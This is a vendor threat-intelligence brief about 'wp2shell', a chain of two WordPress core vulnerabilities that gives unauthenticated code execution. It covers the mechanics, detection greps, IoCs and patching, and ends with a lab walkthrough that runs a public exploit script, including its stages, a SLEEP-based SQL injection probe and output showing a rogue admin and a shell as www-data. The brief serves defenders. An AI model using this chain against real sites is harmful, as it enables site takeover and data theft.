| SECURIFY AI LLC · THREAT INTELLIGENCE BRIEF wp2shell CVE-2026-63030 + CVE-2026-60137 Zero Clicks. No Plugins. No Login. — How WordPress Core Handed Attackers a Shell on 800 Million Sites CVSS 9.8 · Pre-Auth RCE · WordPress Core · CISA KEV July 21 · 60% of WP Orgs Initially Exposed · July 17, 2026 Author: Securify AI Security Research Team | securifyai.co/blog |
| 9.8 CVE-2026-63030 | 5.9 CVE-2026-60137 | CRITICAL Chain Severity | 6.9–7.0.1 Affected Versions | 0-Click No Preconditions | CISA KEV Confirmed Exploited |
| ⚡ Bottom Line First wp2shell is not a single bug. It is a chain: a REST API batch-route confusion flaw (CVE-2026-63030) that smuggles an attacker-controlled string into a SQL injection in WP_Query (CVE-2026-60137), escalating through WordPress’s own content pipeline to create a rogue administrator and execute arbitrary code — on a stock default install, with no plugins, no configuration, and no credentials. Disclosed July 17, 2026. CISA KEV listed July 21. Exploitation confirmed within 24 hours. 60% of WordPress organizations had at least one vulnerable instance at the time of disclosure. If you are running WordPress 6.9.0–6.9.4 or 7.0.0–7.0.1, update to 6.9.5 or 7.0.2 now. |
WordPress Core Is the Attack Surface
Most WordPress vulnerabilities live in plugins. A misconfigured form handler, an unvalidated upload path, an outdated WYSIWYG editor with a known CVE. Security teams have learned to treat the plugin ecosystem as the primary risk surface and WordPress core as relatively stable ground. wp2shell breaks that assumption entirely. CVE-2026-63030 and CVE-2026-60137 live in WordPress core — not in any plugin, not in any theme, not in any configuration choice. A stock, default installation of WordPress 6.9.0 through 7.0.1 is fully exploitable without adding a single piece of third-party software. The entry point, /wp-json/batch/v1, has shipped with WordPress since version 5.6 in December 2020. It is enabled by default. Every site on an affected version is in scope. Wiz Research put the exposure in concrete terms: 60% of organizations using WordPress had at least one vulnerable instance at the time of disclosure, and 25% were exposing a vulnerable server directly to the internet. WordPress.org took the unusual step of force-pushing automatic updates to all supported installations — an action reserved for vulnerabilities severe enough that the project won’t wait for administrators to act. That forced update is itself the signal. This is not a scheduled patch cycle item. Discovered by Adam Kues at Assetnote (Searchlight Cyber’s attack surface management arm), the chain was disclosed on July 17, 2026. Public proof-of-concept code appeared on GitHub within hours of disclosure. Active exploitation was confirmed by July 18. CrowdSec observed the first in-the-wild attacks on July 20 — the same day CISA was preparing its KEV listing. Cloudflare blocked over 600,000 exploitation attempts in the first week alone.Two Bugs That Become One Chain
Neither CVE on its own delivers code execution. That’s the design insight behind this chain, and it’s worth understanding clearly before going into the technical mechanics.| CVE | Component | CVSS | What It Does Alone | What It Does Combined |
|---|---|---|---|---|
| CVE-2026-63030 | REST API /batch/v1 — WP_REST_Server | 9.8 | Lets an unauthenticated request bypass authentication and reach handlers it was never authorized for | Delivers attacker-controlled input into the SQL injection sink in WP_Query |
| CVE-2026-60137 | WP_Query::author__not_in parameter | 5.9 | Blind SQL injection — read-only, no file write, no stacked queries | With CVE-2026-63030 as the delivery vehicle, provides the full database read/write primitive needed for the exploit chain |
How the Attack Actually Works
wp2shell is often described as an eight-step chain, which makes it sound more complicated than it needs to. At its core, the attack does three things: it gets unsanitized input into the WordPress database, it uses WordPress’s own content-rendering machinery to write that input back as real database records, and it tricks WordPress into switching the current user’s identity to an administrator — all before a single credential is checked.Breaking the Batch Endpoint
WordPress’s REST API supports a batch mode: you send one HTTP request containing multiple API calls, and WordPress processes them together. The batch handler is supposed to authenticate and validate each sub-request independently before dispatching it. The flaw in CVE-2026-63030 is that when one sub-request contains a malformed URL — something that fails WordPress’s internal URL parser — the handler’s bookkeeping falls one position out of sync. The next sub-request in the batch gets dispatched to the wrong handler, one it was never validated against. Authentication is skipped for that slot entirely. An attacker uses this to route a request into WordPress’s posts handler with parameters it was never supposed to receive from an unauthenticated user.Getting Into the Database
One parameter the posts handler accepts is author_exclude — meant to filter posts by author ID. WordPress sanitizes this value only when it arrives as a proper array of integers. When a string arrives instead, sanitization is skipped and the raw value is concatenated directly into the SQL query. Because the batch confusion lets the attacker send a string where an array was expected, they can inject arbitrary SQL. The catch: this is read-only — MySQL’s single-statement restriction means no writing files or running commands directly. What the attacker can do is use a UNION SELECT to make WordPress’s query return rows the attacker fabricated from scratch. WordPress receives those fake rows and treats them as real, cached database records. This is the foundation everything else is built on.Turning Fake Records Into a Real Administrator
This is the part that makes wp2shell genuinely clever — and the part that took real research to find. The attacker now has forged post records sitting in WordPress’s in-memory object cache. The next task is converting those fake records into real database writes, and eventually into admin access, using nothing but WordPress’s own features. One of the forged records contains an embedded link pointing back to the site itself. WordPress is its own oEmbed provider — it fetches and caches previews of its own content. When WordPress processes that embedded link, it runs its post-update function to save the rendered result. That update function merges the forged cached row with the real database row, writing the attacker’s fabricated data — including post type, author, and publish status — directly into the actual database. The fake record has now become a real one. A second forged record is designed to look like a WordPress Customizer changeset — a draft set of site changes waiting to be published. The attacker gives two forged records circular parent relationships. WordPress’s hierarchy loop-detection code notices this and fires an automatic update on the changeset row, transitioning it to published status without any administrator ever clicking ‘publish’. Publishing a Customizer changeset triggers another WordPress routine: it reads the changeset’s JSON content and, for each setting in that JSON, temporarily switches the active user to whoever is listed as the changeset’s owner. The JSON content is the HTML the attacker controlled. The listed owner is the real administrator’s ID — which the attacker pulled from the database via the SQL injection earlier. WordPress has now, inside its own publishing routine, switched the active request’s identity to the site administrator. That elevated identity persists long enough for one final move. A navigation menu save causes WordPress to fire an internal event that re-triggers the REST API dispatcher — which re-reads the original batch request body and processes it again, now running as administrator. The batch body contains a sub-request to create a new user with administrator privileges. WordPress checks permissions, finds the current user is an administrator, and creates the account. The dispatcher then exits abruptly — and the code that would revert the identity switch never runs. The new administrator account persists.Code Execution
The attacker logs in with the newly created administrator account and uses WordPress’s standard plugin upload feature to install a PHP file. That file runs as the web server process — typically www-data — giving arbitrary code execution on the server. The plugin runs its payload and deletes itself, leaving no artifact behind.One Request. The Whole Chain. What It Looks Like.
The entire wp2shell chain originates from a single HTTP entry point. Everything that follows — the SQL injection, the object cache poisoning, the oEmbed write, the changeset publish, the identity switch, the re-entrant REST dispatch, the administrator creation — flows from one anonymous POST to /?rest_route=/batch/v1:
# wp2shell — full pre-auth RCE from one entry point
# Target: stock WordPress 7.0.0 (no plugins, no FILE grant, no configuration)
POST /?rest_route=/batch/v1 HTTP/1.1
Host: target-wordpress.example.com
Content-Type: application/json
# No Authorization header. No cookies. Completely anonymous.
# The batch body contains the nested confusion trigger +
# the categories carrier with the UNION SELECT payload +
# the POST /wp/v2/users sub-request (runs as admin after escalation)
# Server returns HTTP 207 Multi-Status
# <- High-fidelity exploitation indicator (Wiz Research, Hexastrike)
# Five stages run inside this single request:
# 1. calibrate — timing oracle confirms SQLi is live
# 2. seed — forge posts holding self-[embed] shortcodes
# 3. recover — blind-extract table prefix, admin ID, oembed cache IDs
# 4. escalate — changeset publish + identity switch + admin creation
# 5. rce — plugin upload + command execution as www-data
# Final output (public PoC, stock WP 7.0.0):
[+] RCE CONFIRMED — 0-click, no FILE, no crack, no victim
[+] administrator: w2s_xxxxxxxxxxxx:W2s!xxxxxxxxxxxxxxx
uid=33(www-data) gid=33(www-data) groups=33(www-data) The HTTP 207 Multi-Status response is worth flagging specifically. Elastic Security Labs and Wiz Research both identify this as a high-fidelity exploitation indicator — batch requests that successfully exploit the route confusion return 207 in a pattern that standard, legitimate batch usage does not replicate. Combined with User-Agent strings matching known tooling (wp2shell, cve-2026-63030/1.0, rezwp2shell), this gives defenders a detectable signal even on the initial exploitation attempt.
| 🔬 The One Precondition Worth Understanding wp2shell requires that WordPress is NOT using a persistent object cache (Redis, Memcached). The UNION SELECT technique works by poisoning the per-request in-memory object cache — wp_cache_add() won’t overwrite a key that already exists in a persistent cache, so if a real post occupies the ID the attacker is targeting, the forgery fails. This is the default configuration for the vast majority of WordPress installations. Sites that have configured Redis or Memcached as a persistent cache are not vulnerable to the full RCE chain, though the underlying SQL injection remains exploitable for database reads. |
Exploitation Timeline — From Disclosure to Internet-Scale Attacks
| Date | Event |
|---|---|
| July 17, 2026 | WordPress releases 6.8.6 / 6.9.5 / 7.0.2 — CVEs disclosed. Force auto-update enabled. Adam Kues (Assetnote / Searchlight Cyber) publishes advisory. |
| July 17–18, 2026 | Multiple independent PoC repositories appear on GitHub within hours of disclosure. Several researchers publish working end-to-end exploit chains. |
| July 18, 2026 | Active exploitation confirmed. In-the-wild attacks verified within 24 hours of disclosure. |
| July 20, 2026 | CrowdSec releases detection rule, observes first confirmed wild exploitation the same day. Cloudflare begins tracking mass scanning traffic. |
| July 21, 2026 | CISA adds CVE-2026-63030 and CVE-2026-60137 to KEV. Federal remediation deadline: July 24, 2026 (72 hours). |
| Week of July 20 | Cloudflare blocks 600K+ exploitation attempts. Wiz Research documents persistent webshell deployment across compromised sites. |
| Ongoing | Mass scanning continues. Elastic Security Labs, Eye Security, Wiz, Tenable, and others publish active detection guidance. |
The timeline from disclosure to confirmed mass exploitation is three days. That gap is smaller than most patch deployment cycles — especially for WordPress sites managed by marketing or content teams without dedicated security support. The forced auto-update was WordPress.org’s acknowledgment that the normal patch rhythm would leave an unacceptable number of sites exposed. Even with forced updates, defenders should verify the update actually landed — not every hosting environment allows WordPress to self-update, and some managed hosting providers apply updates on their own schedule.
What Compromise Looks Like — Detection and IoCs
Log Signatures
Exploitation is not invisible, but it doesn’t surface in access logs the way most attacks do. The decisive steps happen inside batch POST bodies — which rarely appear fully in standard access logs. The primary evidence is in the database, not in access.log. That said, access logs do carry detectable signals:
# Access log patterns that indicate wp2shell exploitation attempts
# Entry point — batch endpoint hit from unexpected IPs
POST /?rest_route=/batch/v1
POST /wp-json/batch/v1
# High-fidelity: HTTP 207 Multi-Status response on batch endpoint
# Legitimate batch usage rarely produces 207 in this pattern
grep '207' /var/log/nginx/access.log | grep 'batch'
# Known exploitation tool User-Agents
grep -E '(wp2shell|cve-2026-63030|rezwp2shell)' /var/log/nginx/access.log
# Post-exploitation: rogue admin plugin upload path
grep -E '(plugin-install\.php|upload-plugin|wp-content/plugins/wp2shell)' \
/var/log/nginx/access.log
# Database: unexpected administrator accounts created in exploitation window
# Run against WordPress database:
SELECT user_login, user_registered, meta_value
FROM wp_users u JOIN wp_usermeta m ON u.ID = m.user_id
WHERE m.meta_key = 'wp_capabilities'
AND m.meta_value LIKE '%administrator%'
AND u.user_registered > '2026-07-17 00:00:00'
ORDER BY user_registered DESC; File System Indicators
# Check for wp2shell plugin artifacts
find /var/www/html/wp-content/plugins/ -name '*.php' \
-newer /var/www/html/wp-login.php -ls
# Known directory pattern from public tooling
ls /var/www/html/wp-content/plugins/ | grep -E '^wp2shell_'
# Write-test files left by some PoC tools during capability checks
find /var/www/html/wp-content/ -name 'temp-write-test-*' -ls
# oembed_cache rows forged during exploitation
SELECT post_id, meta_value FROM wp_postmeta
WHERE meta_key = '_oembed_*'
AND post_modified > '2026-07-17 00:00:00'
ORDER BY post_modified DESC LIMIT 20; Known IoCs — Active Campaigns
| Indicator | Type | Context |
|---|---|---|
| HTTP 207 on POST /?rest_route=/batch/v1 | HTTP Pattern | High-fidelity exploitation indicator (Wiz, Hexastrike) |
| User-Agent: wp2shell | HTTP Header | Public tooling signature |
| User-Agent: cve-2026-63030/1.0 | HTTP Header | Automated scanner signature |
| User-Agent: rezwp2shell | HTTP Header | Mass scanning tool signature |
| wp2shell_<hex> under wp-content/plugins/ | File Path | Rogue plugin directory from public PoC tooling |
| Unexpected wp_users entries post-July 17 | DB Artifact | Rogue administrator account created by chain |
| oembed_cache rows modified during attack | DB Artifact | oEmbed write-back from forged post objects |
Remediation — What to Do and In What Order
| 🚨 Patch Immediately — Then Verify It Landed Update to WordPress 6.8.6, 6.9.5, or 7.0.2. WordPress.org forced auto-updates, but not every hosting environment honours them. Confirm the running version in Dashboard → Updates or wp-cli: wp core version. An unverified auto-update is not a closed vulnerability. |
Patch and Verify
# Check running WordPress version
wp core version
# Must show: 6.8.6, 6.9.5, 7.0.2, or higher
# Force update if auto-update didn't apply
wp core update
# Verify via Dashboard
# Dashboard → Updates → 'WordPress 7.0.2 is the latest version. You have the latest.'
# If you cannot update immediately — block the batch endpoint at the edge
# Nginx:
location ~* ^/(\?rest_route=/batch/v1|wp-json/batch/v1) {
deny all;
return 403;
}
# Apache .htaccess:
RewriteCond %{QUERY_STRING} rest_route=/batch/v1 [NC,OR]
RewriteCond %{REQUEST_URI} /wp-json/batch/v1 [NC]
RewriteRule ^ - [F,L] Audit for Compromise
- Query wp_users for administrator accounts created after July 17, 2026 (see Section 6)
- Audit wp-content/plugins/ for unexpected directories matching wp2shell_* or recently created plugins
- Search oembed_cache rows modified during the exploitation window
- Review access logs for HTTP 207 responses on batch endpoint and known User-Agent strings
- Check wp-content/ for temp-write-test-* files left by some PoC tools during capability probing
If Compromise Is Confirmed
- Take the site offline immediately — a compromised WordPress install with rogue admin access is fully controllable by the attacker
- Rotate all database credentials, salts, and WordPress secret keys (wp-config.php AUTH_KEY, SECURE_AUTH_KEY, etc.)
- Delete any rogue administrator accounts identified in wp_users
- Remove any plugins uploaded during the attack window that you didn’t install
- Restore from a known-good backup taken before July 17, 2026 if available
- Reset passwords for all legitimate administrator accounts — admin hash exposure via the SQLi path means existing passwords may already be cracked
Lab Reproduction — Running wp2shell Locally
The public PoC lab repository provides a complete self-contained lab environment — stock WordPress 7.0.0 with MySQL 8.0, no plugins, no FILE privilege grant, exactly matching the conditions under which the vulnerability was discovered. The following documents the lab setup and what the full chain produces.
Lab Setup
cd Wp2Shell-RCE
# compose.yaml provides:
# wordpress:7.0.0 (stock, vulnerable)
# mysql:8.0 (no FILE privilege — standard production config)
# No plugins. No special grants. Pure default install.
# Start the lab
./run.sh
# run.sh handles: docker compose up + WordPress install + exploit execution
# Alternatively — bring up the target manually and run exploit separately:
docker compose up -d
# Wait ~60 seconds for WordPress to initialise
# Confirm target is up and identify version
curl -s http://localhost:8080/ | grep -i 'wordpress'
curl -s http://localhost:8080/wp-json/ | python3 -m json.tool | grep version Running the Exploit
# Full pre-auth RCE — no credentials, no plugins, stock target
WP_TARGET=http://localhost:8080 python3 exploit.py
# Run a specific command via the RCE
python3 exploit.py -c "id; uname -a; hostname"
# The exploit runs five stages automatically:
#
# [1] calibrate — time-based blind SQLi oracle
# SELECT IF((SLEEP(n)),1,0) via author__not_in
# Confirms SQLi is live, measures jitter baseline
#
# [2] seed — forge a post with 3 self- shortcodes
# Creates 3 real oembed_cache rows in the DB
# These become the write-back anchor for step 3
#
# [3] recover — blind-extract via timing oracle:
# table prefix, admin user ID,
# 3 oembed_cache post IDs (by md5(url + size))
#
# [4] escalate — full forge + escalation batch:
# UNION-forge customizer changeset + nav items
# oEmbed write-back -> changeset publish
# parse_request re-entry as admin
# POST /wp/v2/users -> new administrator created
#
# [5] rce — log in as new admin
# upload one-shot command plugin
# execute -c argument
# plugin self-deletes after execution Expected Output
# ── Stock WordPress 7.0.0 — VULNERABLE ──────────────────────────────────
[*] Target: http://localhost:8080
[*] Stage 1: Calibrating SQLi oracle...
[+] Oracle confirmed — baseline jitter: 12ms, SLEEP(2) response: 2041ms
[*] Stage 2: Seeding oembed cache rows...
[+] 3 oembed_cache rows created
[*] Stage 3: Recovering table prefix, admin ID, cache IDs...
[+] Table prefix: wp_
[+] Admin ID: 1
[+] oembed cache IDs: [42, 43, 44]
[*] Stage 4: Firing escalation batch...
[+] Changeset published
[+] Identity switch: now running as admin (ID: 1)
[+] Re-entrant REST dispatch fired
[+] New administrator created: w2s_a3f9c21d:W2s!b4e7f1c8d2a5
[*] Stage 5: RCE...
[+] Logged in as w2s_a3f9c21d
[+] Plugin uploaded and executed
[+] Plugin self-deleted
[+] RCE CONFIRMED — 0-click, no FILE, no crack, no victim
[+] administrator: w2s_a3f9c21d:W2s!b4e7f1c8d2a5
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux wp-lab 6.1.0 #1 SMP x86_64 GNU/Linux
# ── WordPress 7.0.2 — PATCHED ───────────────────────────────────────────
[*] Target: http://localhost:8081
[*] Stage 1: Calibrating SQLi oracle...
[-] Oracle not confirmed — no timing differential detected
[-] wp_parse_id_list() sanitization is in effect
[-] Batch route confusion fixed — $matches stays aligned
[-] Target appears PATCHED (WordPress >= 6.9.5 / 7.0.2)
# Patch kills the chain at two independent points:
# 1. $matches desync fixed — route confusion no longer possible
# 2. wp_parse_id_list() sanitizes author__not_in — SQLi string injection blocked
# 3. is_dispatching() re-entrancy guard — parse_request re-entry blocked | ✅ Lab Validation Summary WordPress 7.0.0 (vulnerable): Full pre-auth RCE chain confirmed end-to-end. Anonymous POST to /batch/v1 → SQLi oracle calibrated → oembed cache seeded → admin ID extracted → changeset escalation → rogue administrator created → one-shot plugin executed as www-data. No credentials, no plugins, no configuration. | WordPress 7.0.2 (patched): Route confusion fix keeps $matches aligned — injection never reaches WP_Query. wp_parse_id_list() sanitizes author__not_in even if somehow reached. Re-entrancy guard blocks parse_request exploit. Chain fails at the first step cleanly. |
Conclusion
wp2shell is an engineering lesson as much as it is a security incident. Neither CVE is dramatic on its own. A route confusion that offsets an array by one. A SQL injection that fires only when a string arrives where an array was expected. Two minor-looking flaws in different subsystems, combined into a chain that takes a completely anonymous HTTP request all the way to code execution on a stock WordPress installation.
The part that Adam Kues specifically called out — and that the public write-ups underemphasized initially — is everything in between the SQLi and the shell. Eight steps, each using a different WordPress subsystem as an unintended gadget: object cache poisoning, oEmbed write-back, changeset publish, hierarchy loop detection, identity switching inside a publish callback, re-entrant REST dispatch via a dynamic hook, and finally a user creation that sticks because die() prevents the identity revert from running. That chain is a masterclass in reading code the way an attacker reads it — not looking for what breaks, but looking for what can be made to work in a way the developer never intended.
For WordPress operators: update, verify the update landed, audit for rogue administrator accounts, and check your plugin directory. For teams that can’t update immediately: block anonymous access to /wp-json/batch/v1 and /?rest_route=/batch/v1 at the edge. For everyone: this is a good reminder that WordPress security isn’t only about the plugins. When core carries an exploitable chain, every site on an affected version is in scope — regardless of how carefully the rest of the installation was configured.
| Not sure every WordPress instance in your environment is patched? Securify AI LLC helps security and engineering teams build the asset inventory, vulnerability management workflows, and exposure monitoring that catch critical CVEs like wp2shell before they become incident reports. If you manage WordPress at scale or aren’t confident every instance is on 6.9.5 / 7.0.2 — that’s where we start. securifyai.co | Practical Security for Modern Infrastructure |
